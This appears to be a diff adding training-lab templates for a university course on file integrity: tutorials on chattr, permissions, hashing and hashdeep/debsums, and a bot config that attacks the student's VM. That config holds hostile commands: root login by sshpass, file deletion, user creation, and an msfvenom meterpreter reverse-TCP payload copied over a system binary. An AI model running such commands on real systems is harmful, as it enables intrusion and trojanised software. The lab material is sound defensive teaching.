+#### Getting to know file attributes +Unix systems (such as Linux or FreeBSD) include file attributes that, amongst other features, can make files immutable or append only. Setting these file attributes can provide an effective layer of security, and yet could be considered one of the more obscure Unix security features[^1]. Note that this feature is dependent on the use of a compatible filesystem (most Unix filesystems, such as ext, are compatible with file attributes). Once configured, file attributes can even prevent root (the all-powerful Unix superuser) from making changes to certain files. + +[^1]: Setting a file to immutable (and therefore impossible to simply delete) can be an effective prank against the uninitiated in Unix ways. + +==Run:== + +```bash +lsattr <%= $example_file %> +``` +`` + -------------e- <%= $example_file %> +`` + +The 'e' flag is common on ext filesystems, may or may not be present when you run the above, and does not really concern us. From a security perspective the 'a' and 'i' flags are the most interesting. Read the man page for chattr to find out more about these flags and what they do: + +```bash +man chattr +``` +> (Press q to leave the manual page) + +==Set the 'i' flag== using the chattr command: + +```bash +sudo chattr +i <%= $example_file %> +``` + +Now ==try to delete the file== and see what happens: + +```bash +rm <%= $example_file %> +``` +Denied! + +==Use root permissions== to try to delete the file: + +```bash +sudo rm <%= $example_file %> +``` + +It still didn't work! That's right, *even root can't delete the file*, without changing the file's attributes back first. + +==Use some commands to remove the 'i' flag== +> Hint: '-i', instead of '+i'. + +Now run a command to ==set the 'a' flag on <%= $example_file %>.== + +If you have done so correctly, attempting to overwrite the file with a test message should fail. ==Run:== + +```bash +sudo bash -c 'echo "test message" > <%= $example_file %>' +``` +> This should produce an error, since > causes the output of the program to be written to the specified log file, which is not allowed due to the chattr command you have run. + +Yet you should be able to append messages to the end of the file: + +```bash +sudo bash -c 'echo "YOURNAME: test message" >> <%= $example_file %>' +``` +> This should succeed, since >> causes the output of the program to be appended (added to the end of) to the specified log file, which is allowed. Use your name above, for example 'echo "==Cliffe==: test message" >> <%= $example_file %>'. + +==View your changes== at the end of the file: + +```bash +tail <%= $example_file %> +``` + +This has obvious security benefits, this feature can be used to allow files to be written to without altering existing content. For example, for ensuring that log files can be written to, but avoiding giving everyone who can write to the file the ability to alter its contents. diff --git a/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/file_permissions.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/file_permissions.md.erb new file mode 100644 index 000000000..9fc0ac381 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/file_permissions.md.erb @@ -0,0 +1,89 @@ +### Protecting integrity with file permissions +#### Getting to know file permissions + +File permissions enable users to control the access that other users have to their files. + +We will cover the topic in depth elsewhere. This just provides an introduction to Unix file permissions. + +Open a terminal console (such as "Konsole" from KDEMenu / Applications / System / Konsole). + +Start by creating a file with some content. + +==Run:== + +```bash +cat > /home/<%= $main_user %>/example +``` +> (Type some content, then press Ctrl-D to finish and return to the +prompt.) +> The output is sent to the file /home/<%= $main_user %>/example +> +> Note that in bash **you can type *~* as shorthand for your home directory** ("/home/*<%= $main_user %>*"), but for the sake of clarity these instructions list the entire name. + +You can read the content: + +```bash +cat /home/<%= $main_user %>/example +``` + +Or replace the content: + +```bash +cat > /home/<%= $main_user %>/example +``` +> (Type some content, then press Ctrl-D to finish and return to the +prompt.) + +You can view the file permissions with: + +```bash +ls -la /home/<%= $main_user %>/example +``` +`` -rw-r--r-- 1 user user 20 Feb 7 17:38 /home/<%= $main_user %>/example `` + +This shows that the file is owned by *user*, and that the user has read-write access ("rw-"), others on the system have read access ("r--"). + +By default new files can only be edited by the owner of the file (more on file permissions and umask another time). However, by default other users of the system can likely *read* your files. + +You can remove the ability of *anyone* changing the content. ==Run:== + +```bash +chmod -w /home/<%= $main_user %>/example +``` +> -w means "remove write access (for everyone)" + +Try changing the content. ==Run:== + +```bash +cat > /home/<%= $main_user %>/example +``` + +You can't. + +You can remove the ability of **everyone else** changing the content. ==Run:== + +```bash +chmod u+w,o-rw /home/<%= $main_user %>/example +``` +> u+w: user who owns the file, add write access +> o-rw: others, remove read and write access + + +You can view the file permissions with: + +```bash +ls -la /home/<%= $main_user %>/example +``` +`` -rw-------- 1 user user 20 Feb 7 17:38 /home/<%= $main_user %>/example `` + +Note that **the root user can access any files**, regardless of file permissions. + +```bash +chmod -w /home/<%= $main_user %>/example +sudo cat /home/<%= $main_user %>/example +``` +> Enter your password, and note that as root you can access the file regardless of permissions. + +"sudo" runs a command as another user (typically root). On Unix the root user (or any user with an uid of 0) is a superuser (i.e. administator) with extra privileges. + +Exploring Unix file permissions further is outside the scope of this lab, but will be covered elsewhere. diff --git a/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/fim.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/fim.md.erb new file mode 100644 index 000000000..a960e7cf6 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/fim.md.erb @@ -0,0 +1,125 @@ +### Detecting changes to resources using hashes and file integrity checkers + +Another technique for detecting modifications to files is to use hashes of files in their known good state. Rather than storing and comparing complete copies, a one way hash function can be used to produce a fixed length hash (or 'digest'), which can be used for later comparisons. + +Hashes have security properties that enable this use: + +- Each hash is unique to the input +- It is extremely difficult (practically impossible) to find another input that produces the same hash output +- Any change to the input (no matter how minor) changes the output hash dramatically + +We can store a hash and later recompute the hash, to determine whether the file has changed (if the hash is different), or it is exactly the same (if the hash is the same). If you have studied digital forensics, many of these concepts will be familiar to you, since hashes are also commonly used for verifying the integrity of digital evidence. + +==Generate an MD5 hash== of your backup password file, which you copied previously: + +```bash +md5sum /home/<%= $main_user %>/backups/passwd +``` + +Now ==calculate a hash== of your current passwd file: + +```bash +md5sum /etc/passwd +``` + +If the generated hashes are different, you know the files do not have **exactly the same content**. + +Note that using hashes, there is no need to have the backup on-hand in order to check the integrity of files, you can just compare a newly generated hash to a previous one. + +==Repeat the above two commands using shasum== rather than md5sum. + +SHA1, SHA2, and SHA3 are considered to be more secure than the 'cryptographically broken' MD5 algorithm. Although MD5 is still in use today, it is safer to use a stronger hash algorithm, since MD5 is not collision-resistant, meaning it is possible to find multiple files that result in the same hash. SHA1 is considered partially broken, so a new algorithm such as SHA2, or the newest SHA3 are currently a good options. There are a number of related commands for generating hashes, named md5sum, shasum, sha224sum, sha256sum, and so on. These commands (as well as those in the next section) are readily available on most Unix systems, and are also available for Windows. + +#### File integrity checkers + +A file integrity checker is a program that compares files to previously generated hashes. A number of these kinds of tools exist, and these can be considered a form of host-based intrusion detection system (HIDS), particularly if the checking happens automatically. One of the most well known integrity checkers is Tripwire, which was previously released open source; although, new versions are closed source and maintained by Tripwire, Inc, with a more holistic enterprise ICT change management focus. There are other tools similar to Tripwire, such as AIDE (Advanced Intrusion Detection Environment), and OSSEC (Open Source Host-based Intrusion Detection System). + +The above md5sum, shasum (and so on) programs can also be used to check a list of file hashes. + +==Run the following== to generate a file containing hashes of files we can later check against: + +```bash +mkdir /home/<%= $main_user %>/hashes/ + +shasum <%= $example_file %> >> /home/<%= $main_user %>/hashes/hash.sha +shasum /etc/passwd >> /home/<%= $main_user %>/hashes/hash.sha +sudo shasum /etc/shadow >> /home/<%= $main_user %>/hashes/hash.sha +shasum /bin/bash >> /home/<%= $main_user %>/hashes/hash.sha +shasum /bin/ls >> /home/<%= $main_user %>/hashes/hash.sha +``` + +==Look at the contents== of our new hashes file: + +```bash +less /home/<%= $main_user %>/hashes/hash.sha +``` +> Press q to quit when done + +Now use your new hash list to ==check that nothing has changed== since we generated the hashes: + +```bash +shasum -c /home/<%= $main_user %>/hashes/hash.sha +``` + +==Lab book question: Why does shasum fail to check the integrity of the shadow file?== + +==Make a change== to the end of <%= $example_file %>: + +```bash +echo "hello" >> *your-name* +``` + +Check whether anything has changed since we generated hashes: + +```bash +shasum -c /home/<%= $main_user %>/hashes/hash.sha +``` + +You should see a nice explanation of the files that have changed since generating the hashes. + +#### Scripted integrity checking + +The above can also be accomplished via a simple script (in this case a Perl script): + +```perl + #!/usr/bin/perl + # Copyleft Z. Cliffe Schreuders + # Licenced under the terms of the GPLv3 + + use warnings; + use strict; + + my %files_hashes = ( + "/etc/passwd"=>"69773dcef97bca8f689c5bc00e9335f7dd3d9e08" + "/bin/ls"=>"9304c5cba4e2a7dc25c2d56a6da6522e929eb848", + "/bin/bash"=>"54d0d9610e49a654843497c19f6211b3ae41b7c0", + ); + + foreach my $file_entry (keys %files_hashes) { + my $hash = `sha1sum $file_entry|awk '{print \$1}'|head -n1`; + chomp($hash); + if($hash ne $files_hashes{$file_entry}){ + warn "FILE CHANGED: $file_entry (hash was $hash, expected $files_hashes{$file_entry})\n"; + } else { + print "File unmodified: $file_entry (hash was $hash, as expected)\n"; + } + } +``` + +This script iterates over a list of file paths with SHA1 hashes (stored in an associative array), and runs sha1sum for each one to check whether the files are still the same. + +==Save the script as checker.pl== +> Tip: you may wish to use the default KDE GUI text editor Kate. You should be able to copy the script and paste it into Kate to save it as checker.pl. +> +> Alternatively you can type: +> "cat > checker.pl" +> Paste with Ctrl-Shift-V. +> Then, Ctrl-D, to end the input. + +Then ==run the script== with: + +```bash +perl checker.pl +``` + +==Lab book question: Are the files reported as unmodified, or have they changed? Why might they be different to when I wrote the script?== diff --git a/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/fim_package_management.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/fim_package_management.md.erb new file mode 100644 index 000000000..2c5f26457 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/fim_package_management.md.erb @@ -0,0 +1,53 @@ +#### Detecting changes to resources using package management + +On Linux systems, package management systems are used to organise, install, and update software. The package management system has a database that keeps track of all the files for each program or software package. Depending on the package management system used, the database may maintain hashes in order to detect changes to files since install. DEB-based systems (such as Debian, and Ubuntu) and RPM-based systems (such as Red Hat, Fedora, and OpenSUSE), typically store hashes of each file that is included in software packages. There are commands that can be used to detect changes to files that have occurred since being installed by the package management software. + +Note that there are times where it is perfectly normal for a number of files to not match the 'fresh' versions that were installed: for example, configuring a system for use will involve editing configuration files that were distributed with software packages. + +==View the files containing MD5 hashes== stored for the packages on the system: +```bash +ls /var/lib/dpkg/info/*.md5sums +``` + +==View the contents== of one of the files. + +debsums is a program that can use those MD5 hashes to verify that files on a DEB-based system match the corresponding packages that are installed. By default it doesn't check configuration files (such as in /etc/). + +Verify all files installed by all packages: +```bash +sudo debsums -ac +``` +> Ctrl-C to end the program early. +> Options for debsum include: +> -a also check config files +> -e *only* check config files +> -c only report *changed* files + +Verify the files installed by a specific package: +```bash +sudo debsums firefox +``` + +Choose any system file on the computer, such as /etc/securetty. To determine which package the file belongs to: + +```bash +dpkg-query -S *any-file-you-chose* +``` +> Where ==any-file-you-chose== is any file such as /etc/securetty. + +The output of that command contains the package-name, and is required in the next +step. + +Check the integrity of the file: + +```bash +sudo debsums -a *package-name* +``` +> Where package-name is the output from the previous command. + +Try to understand the cause of any files failing the integrity checks. + +==Workbook question: What are the limitations of this approach?== + +- What files will (and won't) this approach to integrity management cover? +- Are the hashes protected against tampering? diff --git a/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/fim_recursive.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/fim_recursive.md.erb new file mode 100644 index 000000000..addfdf763 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/fim_recursive.md.erb @@ -0,0 +1,124 @@ +#### Recursive file integrity checkers + +The md5deep program (also known as sha1deep, sha256deep, and so on for different hash algorithms) can recursively walk through directories (and into all contained subdirectories) to generate and check lists of hashes. + +==Run:== + +```bash +sudo sha1deep -r /etc/ +``` +> You can stop the program early by pressing Ctrl-C + +The output of the above command will include hashes of every file in /etc/, which is where system-wide configuration files are stored on Unix. + +Read the sha1deep manual to understand the above command: + +```bash +man sha1deep +``` +> ==Figure out what the -r flag does.== +> +> (q to quit) + +We can save (redirect) this output to a file so that we have a record of the current state of our system's configuration: + +```bash +sudo sha1deep -r /etc > /home/<%= $main_user %>/hashes/etc_hashes +``` + +This may take a minute or so, while the program calculates all the hashes and sends them to standard out (known as stdout), which is then redirected to the etc_hashes file. + +Next, let's compare the size of our list of hashes, with the actual content that we have hashed... + +See how big our list of hashes is: + +```bash +ls -hs /home/<%= $main_user %>/hashes/etc_hashes +``` +> (-h = human readable, -s = size) + +This is likely to be in the Kilobytes. + +And for the size of all of the files in /etc/: + +```bash +sudo du -hs /etc/ +``` +> (-h = human readable, -s summarise) + +This is likely in the Megabytes (or maybe even Gigabytes). + +Clearly, **the list of hashes is much smaller**. + +Create a new file somewhere in /etc/, containing your name. Name the file whatever you like (for example /etc/test). +> Hint: 'sudo vi /etc/test', 'i' to enter insert mode, and after typing your name, 'Esc', ':wq'. + +Also, change an existing file in /etc/, but do be careful to only make a minor change that will **not cause damage to your system**. For example, you could use vi to edit /etc/wgetrc ('sudo vi /etc/wgetrc'), and add a comment to the file such as '#find this comment!' + +Lets try to identify what has changed on our system... + +Now that we have a list of hashes of our files, ==use shasum to check if anything has changed using our newly generated list of hashes== (/home/<%= $main_user %>/hashes/etc_hashes). + +> Hint: look at the previous command using shasum to check hashes. + +Does this detect our the changed file AND the new file? Why not? + +Md5deep/sha1deep takes a different approach to checking integrity, by checking all of the files it is told to check (possibly recursing over all files in a directory) against a list of hashes, and reporting whether any files it checked did not (or did, depending on the flags used) have its hash somewhere in the hash list. + +Run sha1deep to check whether any files in /etc/ do not match a hash previously generated: + +```bash +sudo sha1deep -X /home/<%= $main_user %>/hashes/etc_hashes -r /etc +``` + +This should detect both modified files, both new and modified. + +But would sha1deep detect a copy of an existing file, to a new location? + +Try it: + +```bash +sudo cp /etc/passwd /etc/passwd.backup +``` + +Now rerun the previous sha1deep command. Was the copy detected? Why not? + +What about copying one file over another? Which out of shasum or sha1deep would detect that? + +Another tool, hashdeep, which is included with md5deep, provides more coverage when it comes to detecting files that have moved, changed, or created. + +Generate a hash list for /etc using hashdeep: + +```bash +sudo hashdeep -r /etc/ > /home/<%= $main_user %>/hashes/etc_hashdeep_hashes +``` + +Hashdeep stores hashes in a different format than the previous tools. Have a look: + +```bash +less /home/<%= $main_user %>/hashes/etc_hashdeep_hashes +``` +> (q to quit) +> +> Note that the output includes some more information, such as the file size for each file. + +Delete the new file that you created earlier: + +```bash +sudo rm /etc/*whatever-the-filename-was* +``` + +Conduct a hashdeep audit to detect any changes: + +```bash +sudo hashdeep -r -a -k /home/<%= $main_user %>/hashes/etc_hashdeep_hashes /etc +``` +> Note, that this can take a while, so feel free to start working through the next section in another terminal, if you like. + +After, run it again, this time asking for more details, since the default message does not provide any information as to why an audit has failed: + +```bash +sudo hashdeep -ravv /etc/ -k /home/<%= $main_user %>/etc_hashdeep_hashes +``` + +Consult the man page for information about what each of the above flags do. diff --git a/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/hackerbot_intro.xml.erb b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/hackerbot_intro.xml.erb new file mode 100644 index 000000000..9246c0774 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/hackerbot_intro.xml.erb @@ -0,0 +1,538 @@ +<% + require 'json' + require 'securerandom' + require 'digest/sha1' + require 'fileutils' + require 'erb' + + if self.accounts.empty? + abort('Sorry, you need to provide an account') + end + + $first_account = JSON.parse(self.accounts.first) + $files = [] + $log_files = [] + if $first_account.key?("leaked_filenames") && $first_account['leaked_filenames'].size > 0 + $files = $first_account['leaked_filenames'] + $log_files = $first_account['leaked_filenames'].grep(/log/) + end + + if $files.empty? + $files = ['myfile', 'afile', 'filee', 'thefile'] + end + if $log_files.empty? + $log_files = ['log', 'thelog', 'logs', 'frogonalog'] + end + + $main_user = $first_account['username'].to_s + + $root_password = self.root_password + $flags = self.flags + + REQUIRED_FLAGS = 17 + while $flags.length < REQUIRED_FLAGS + $flags << "flag{#{SecureRandom.hex}}" + Print.err "Warning: Not enough flags provided to hackerbot_config generator, some flags won't be tracked/marked!" + end + + + + def get_binding + binding + end +%> + + + + + + Bossbot + + config/AIML + + + + sshpass -p <%= $root_password %> ssh -oStrictHostKeyChecking=no root@{{chat_ip_address}} /bin/bash + + + Hi. Welcome to the organisation! I am your line manager, Bossbot. Just thought I'd show you around and get you started. I am going to ask you to perform some tasks. If you complete them successfully I'll give you some flags. + + + Let me know when you are 'ready', if you want to move on to another task, say 'next', or 'previous' and I'll move things along + When you are ready, simply say 'ready'. + Are you 'ready'? + Let me know when you're 'ready'. We aren't paying you to just sit around! + Ok... + Next task then... + Ok, next task. + Ok, back to the previous task. + Ok, previous task... + Ok, backing up. + Ok, skipping it along. + Alright, lets do that task. + That was the last task for now. You can rest easy, until next time... (End.) + That was the last task. Keep up the good work! + You are back to the beginning! + This is where it all began. + Ok. Running command... + Here we go... + I have connected to your system. + I have shell on the system. + Let me know when you are 'ready', if you want to move on to another task, say 'next', or 'previous' and I'll move things along + Say 'ready', 'next', or 'previous'. + + + I am waiting for you to say 'ready', 'next', 'previous', 'list', 'goto *X*', or 'answer *X*' + Say "The answer is *X*". + There is no question to answer + Correct + Incorrect + That's not possible. + Wouldn't you like to know. + + + Oh no. Failed to get shell... You need to let me in. + + + + Introduction + +
+<%= File.read TEMPLATES_PATH + 'license.md.erb' %> + +Generated by [SecGen](http://github.com/cliffe/SecGen) (<%= Time.new.to_s %>) +
+ + true + +
+ + +<% $file = $files.sample -%> + First, could you please check what users are [TODO]. + + rm --interactive=never /home/<%= $main_user %>/<%= $file %>; echo $? + + Permission denied + :) Well done! <%= $flags.pop %> + true + + + 0 + :( We managed to delete your file! You need to use access controls to protect the file. Create a new file. + + + No such file or directory + :( The file <%= $file %> should exist! + + + :( Something was not right... + + + <%= File.read TEMPLATES_PATH + 'file_permissions.md.erb' %> + + + +<% $log_file = $log_files.sample -%> + + An attempt to delete /home/<%= $main_user %>/<%= $log_file %> is coming. Stop the attack using file attributes. + + rm --interactive=never /home/<%= $main_user %>/<%= $log_file %>; echo $? + + Operation not permitted + :) Well done! <%= $flags.pop %> + true + + + Permission denied + :( You did protect the file, but not using file attributes. + + + 0 + :( We managed to delete your file! You need to use file attributes to protect the file. Create a new file. + + + No such file or directory + :( The file should exist! + + + :( Something was not right... + + + <%= File.read TEMPLATES_PATH + 'file_attributes.md.erb' %> + + + +<% $log_file = $log_files.sample -%> + + An attempt to overwrite /home/<%= $main_user %>/<%= $log_file %> is coming. Stop the attack by making the file append only. + + echo 'your logs are gone!' > /home/<%= $main_user %>/<%= $log_file %>; echo 'damn!' >> /home/<%= $main_user %>/<%= $log_file %>; tail /home/<%= $main_user %>/<%= $log_file %> + + damn! + :( You stopped anything from being appended to the file. What kind of log file do you think this is? + + + Operation not permitted + :) Well done! <%= $flags.pop %> + true + + + No such file or directory + :( The file should exist! + + + :( Something was not right... + + <%= ERB.new(File.read TEMPLATES_PATH + 'ro_mounting.md.erb').result(self.get_binding) %> + + + + + An attempt to edit a file in /etc is coming. Stop the attack by bind mounting /etc/ as read-only. + + touch /etc/you_were_hacked; adduser yourehacked + + Read-only file system + :) Well done! <%= $flags.pop %> + + + + Permission denied|Operation not permitted + :( You stopped the attack, but not by using read only bind mounting... + + + :( Something was not right... + + + + + +<% $random_user = SecureRandom.hex -%> + + An attempt to add a new user is coming, let it happen. But first create a backup of /etc/passwd. + + sudo adduser hackerbot --gecos '<%= $random_user %>' --disabled-password --quiet; echo $? + + 0 + User added + + + + + already exists + :( Remove the user and try again. + + + Permission denied|Operation not permitted|Read-only + :( You stopped the attack, rather than monitor for changes... + + + :( Something was not right... + + + + Now after the attack, find the username added by diffing using a backup. What username was created? + ^<%= $random_user %>$ + :) <%= $flags.pop %> + + + +<%= File.read TEMPLATES_PATH + 'detect_changes.md.erb' %> + +<%= File.read TEMPLATES_PATH + 'detect_changes_backups.md.erb' %> + + + + + + An attempt to edit a config file is coming, let it happen. But first create a backup of the /etc/ directory to /tmp/etc-backup/. + + echo '# <%= $flags.pop %>' >> `find /etc/ -name '*.sh' | sort -R | head -n 1`; echo $? + + 0 + A flag has been inserted into a random file... Use your backups to compare /etc/ to the backup to find the flag. Get to work! + + + + Permission denied|Operation not permitted|Read-only + :( You stopped the attack, rather than monitor for changes... + + + :( Something was not right... + + + + Find the flag, what file was the flag stored in? + ^/etc/.*sh$ + :) Well done + + + + + + + + An attempt to edit a config file is coming, let it happen. + + echo '# <%= $flags.pop %>' >> `find /tmp/etc-backup/ -name '*.sh' | sort -R | head -n 1`; echo $? + + 0 + A flag has been inserted into a random file IN YOUR BACKUPS! (Did you really think that was a safe place to store them?) Find the flag. Get to work! + + + + Permission denied|Operation not permitted|Read-only + :( You stopped the attack, rather than monitor for changes... We are trying to write to /tmp/etc-backup/ + + + :( Something was not right... We are trying to write to /tmp/etc-backup/ + + + + Find the flag, what file was the flag stored in? + ^/etc-backup/.*sh$ + :) <%= $flags.pop %> + + + + + +<% $random = SecureRandom.hex -%> + + + Creating a new file in /home/<%= $main_user %>/... + + echo '<%= $random %>' > /home/<%= $main_user %>/something_secret; echo $? + + 0 + Created /home/<%= $main_user %>/something_secret + + + + Permission denied|Operation not permitted|Read-only + :( You stopped the attack, rather than monitor for changes... We need to be able to write to /secrets/something_secret/ + + + :( Something was not right... We are trying to write to /secrets/something_secret + + + + What is the SHA1 hash of /home/<%= $main_user %>/something_secret? + ^<%= Digest::SHA1.hexdigest ("#{$random + "\n"}") %>$ + :) <%= $flags.pop %> + + + <%= File.read TEMPLATES_PATH + 'fim.md.erb' %> + + + + + + Going to edit one of your files in /etc/, use hash comparisons to detect which file changes + x=`find /etc/ -name '*.sh' | sort -R | head -n 1`; echo '' >> $x; echo $x + + + + /etc.* + Good. Now answer this... + + + + Permission denied|Operation not permitted|Read-only + :( You stopped the attack, rather than monitor for changes... We need to be able to write to /secrets/something_secret/ + + + :( Something was not right... We are trying to write to /secrets/something_secret + + + + What is the file that changed? + {{post_command_output}} + :) <%= $flags.pop %> + + + <%= File.read TEMPLATES_PATH + 'fim_recursive.md.erb' %> + + + + + + Going to create a new file in /etc/, use hash comparisons to detect which new file changes (hint: sha1deep, hashdeep, or shasum) + x=`find /etc/ -type d' | sort -R | head -n 1`; mktemp -p $x -t "XXXXXXXX" + + + + /etc.* + Good. Now answer this... + + + + Permission denied|Operation not permitted|Read-only + :( You stopped the attack, rather than monitor for changes... We need to be able to write to /secrets/something_secret/ + + + :( Something was not right... We are trying to write to /secrets/something_secret + + + + What is the file that was created? + {{post_command_output}} + :) <%= $flags.pop %> + + + + + + + + + Going to copy a new random binary in /bin/|/usr/bin/ use hash comparisons to find the filename of the copied file (hint: sha1deep, hashdeep, or shasum) + srcf=`find /bin/ /usr/bin/ -executable | sort -R | head -n 1`; dest=$srcf.$RANDOM; cp $srcf $dest; echo $dest + + + + /etc.* + Good. Now answer this... + + + + Permission denied|Operation not permitted|Read-only + :( You stopped the attack, rather than monitor for changes... We need to be able to write to /secrets/something_secret/ + + + :( Something was not right... We are trying to write to /secrets/something_secret + + + + What is the file that was created? + {{post_command_output}} + :) <%= $flags.pop %> + + + + + + + + + Going to move random binaries in /bin/|/usr/bin/ use hash comparisons to find the filename (hint: sha1deep, hashdeep, or shasum) + mv1=`find /bin/ /usr/bin/ -executable | sort -R | head -n 1`; mv2=`find /bin/ /usr/bin/ -executable | sort -R | head -n 1`; mv $mv1 $mv1.tmp; mv $mv2 $mv1; mv $mv1.tmp $mv2; echo $mv1 $mv2 + + + + /etc.* + Good. Now answer this... + + + + Permission denied|Operation not permitted|Read-only + :( You stopped the attack, rather than monitor for changes... We need to be able to write to /secrets/something_secret/ + + + :( Something was not right... We are trying to write to /secrets/something_secret + + + + What is the file that was created? + {{post_command_output}} + :) <%= $flags.pop %> + + + + + + + + + Going to copy a new random file in /etc/ use hash comparisons to find the filename (hint: sha1deep, hashdeep, or shasum) + srcf=`find /etc/ -type f | sort -R | head -n 1`; cp $srcf $srcf.$RANDOM + + + + /etc.* + Good. Now answer this... + + + + Permission denied|Operation not permitted|Read-only + :( You stopped the attack, rather than monitor for changes... We need to be able to write to /secrets/something_secret/ + + + :( Something was not right... We are trying to write to /secrets/something_secret + + + + What is the file that was created? + {{post_command_output}} + :) <%= $flags.pop %> + + + + + + + + + binname=`find /bin/ /usr/bin/ -executable | sort -R | head -n 1`; echo $binname; msfvenom -a -x86 --platform linux -p linux/x86/meterpreter_reverse_tcp --payload-options -f elf -o msfout; sshpass -p <%= $root_password %> scp -oStrictHostKeyChecking=no ./msfout root@{{chat_ip_address}}:$binname + + Going to replace a binary file in /bin/ or /usr/bin/ with malware, detect which file has changed (hint: sha1deep, hashdeep, or shasum) + + + + + + + + + + + + + + + + + + What is the file that was created? + {{shell_command_output_first_line}} + :) <%= $flags.pop %> + + + <%= File.read TEMPLATES_PATH + 'fim_package_management.md.erb' %> + + + + + + binname=`find /bin/ /usr/bin/ -executable | sort -R | head -n 1`; echo $binname; msfvenom -a -x86 --platform linux -p linux/x86/meterpreter_reverse_tcp --payload-options -f elf -o msfout; sshpass -p <%= $root_password %> scp -oStrictHostKeyChecking=no ./msfout root@{{chat_ip_address}}:$binname + + Trojanising a file in /usr/bin/, use package management to detect which file changes + + + + + + + + + + + + + + + + + + What is the file that was created? + {{shell_command_output_first_line}} + :) <%= $flags.pop %> + + + + + +
diff --git a/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/integrity.md b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/integrity.md new file mode 100644 index 000000000..6fa8301ef --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/integrity.md @@ -0,0 +1,959 @@ +# Integrity Management: Protecting Against and Detecting Change + +## Introduction + +These tasks can be completed on the openSUSE\_42.1 VM. + +This lab could be completed on most RPM-based Linux systems with these +tools installed: rsync, md5sum, md5deep, Perl, ssh server (if working +together). + +## Preparation + +If you are working on campus in the IMS labs using the oVirt online +labs, [*click here for instructions on how to login on campus in the IMS +labs and create VMs from +templates*](https://docs.google.com/document/d/1SZQmZ8tEmwqzlya5zMCuwTh_C1EqHfMRif09CyilYAE/edit?usp=sharing). + +If you are working remotely using the oVirt online labs, [*click here +for instructions on how to login via VPN and create VMs from +templates*](https://docs.google.com/document/d/1zhANC_pz7fNwc_cALxGwPEn3_vls2YjWJUAkUV0BwlI/edit?usp=sharing). + +The oVirt system is a new online lab infrastructure hosted here at Leeds +Beckett. This infrastructure is **currently on trial, as a pilot**. +There is a good chance there will be some technical issues, and not +every lab will be available via this system. However, if you are happy +to benefit from this experiment, please keep in mind that you may need +to fall back to one of the above methods. + +If you are working remotely having downloaded our VMs or by copying them +when you were on campus, [*click here for instructions on how to +download VMware Player and configure the VMs to run +remotely*](https://drive.google.com/open?id=1mZSvF9Gc76mKQ5mW9Lsq2fWGIZd8-rE7RqmRXy1ICLY). + +If you are on campus using the IMS system, [*click here for instructions +on how to use the IMS system and VM download +scripts*](https://drive.google.com/open?id=1E03Q7cPrUEk_YZ8syvo-sk6FGv2SlJT1u9KwGOFWdFA). + +Start these VMs: + +- openSUSE\_42.1 (user: student password: student) + + - Two copies if working alone (Hint: change the desktop background + > of one VM so that you can easily keep track of which VM you + > are working on) + +Note: The root password on the openSUSE\_Leap\_42.1-- **which should NOT +be used to log in graphically** -- is “tiaspbiqe2r” (**t**his **i**s **a** **s**ecure **p**assword **b**ut **i**s **q**uite **e**asy **2** **r**emember). Again, never log in to the desktop environment using the +root account -- that is bad practice, and should always be avoided. + +Some of these exercises can be completed with a classmate (or simply +using two VMs), and assumes root access is available to each other's +systems via an ssh server. + +> *Distance learning students*: If you would like to work with someone +> else from the course, please contact each other via the course Google +> group and share IP addresses. + +**On openSUSE**: + +Install the required packages: + +> sudo zypper install rsync md5deep perl openssh + +## Integrity + +Security is often described in terms of confidentiality, integrity, and +availability. Protecting the integrity of information involves +preventing and detecting unauthorised changes. In many commercial +organisations integrity of information is the highest priority security +goal. Managing who is authorised to make changes to databases or files, +and monitoring the integrity of resources for unauthorised changes is an +important task in managing information security. + +## Protecting integrity + +Protecting the integrity of resources, such as the files on a system, +involves successfully managing a variety of security mechanisms, such as +authentication, access controls and file permissions, firewalls, and so +on. + +> On Linux systems this can include managing passwords, packet filtering +> IPTables rules, standard Unix file permissions (rwx), Linux extended +> attributes (including ACLs for detailed authentication, labels for +> mandatory access control (MAC), and Linux Capabilities). Linux (like +> other Unix-like and Unix-based systems) has a long history of adding +> new security features as and when they are required. +> +> Note that many security controls such as those listed above are very +> important for protecting the integrity of files, but are beyond the +> scope of this lab. Here the focus is on techniques that are *entirely* +> focussed on integrity rather than confidentiality or availability. + +There are precautions that can be taken to reduce the chances of +unauthorised changes. + +### Protecting integrity with file attributes + +Unix systems (such as Linux or FreeBSD) include file attributes that, +amongst other features, can make files immutable or append only. Setting +these file attributes can provide an effective layer of security, and +yet could be considered one of the more obscure Unix security +features[^1]. Note that this feature is dependent on the use of a +compatible filesystem (most Unix filesystems, such as ext, are +compatible with file attributes). Once configured, file attributes can +even prevent root (the all-powerful Unix superuser) from making changes +to certain files. + +Open a terminal console (such as Konsole from +![](media/media/image3.png) KDEMenu → System → Konsole). + +Start by creating a file with some content. Run: + +`` + sudo bash -c 'cat > /var/log/mylogfile' + `` +> +> (Type some content, then press Ctrl-D to finish and return to the +> prompt.) + +Look at the details of the file: + +> ls -la /var/log/mylogfile +> +> -rw-r--r-- 1 root root 20 Feb 7 17:38 /var/log/mylogfile + +As we can see above, the file is owned by root, who has read-write +access – exploring Unix file permissions further is outside the scope of +this lab, but will be covered elsewhere. + +Run: + +> lsattr /var/log/mylogfile +> +> -------------e- /var/log/mylogfile + +The ‘e’ flag is common on ext filesystems, may or may not be present +when you run the above, and does not really concern us. From a security +perspective the ‘a’ and ‘i’ flags are the most interesting. Read the man +page for chattr to find out more about these flags and what they do: + +> man chattr +> +> (Press q to leave the manual page) + +Set the ‘i’ flag using the chattr command: + +> sudo chattr +i 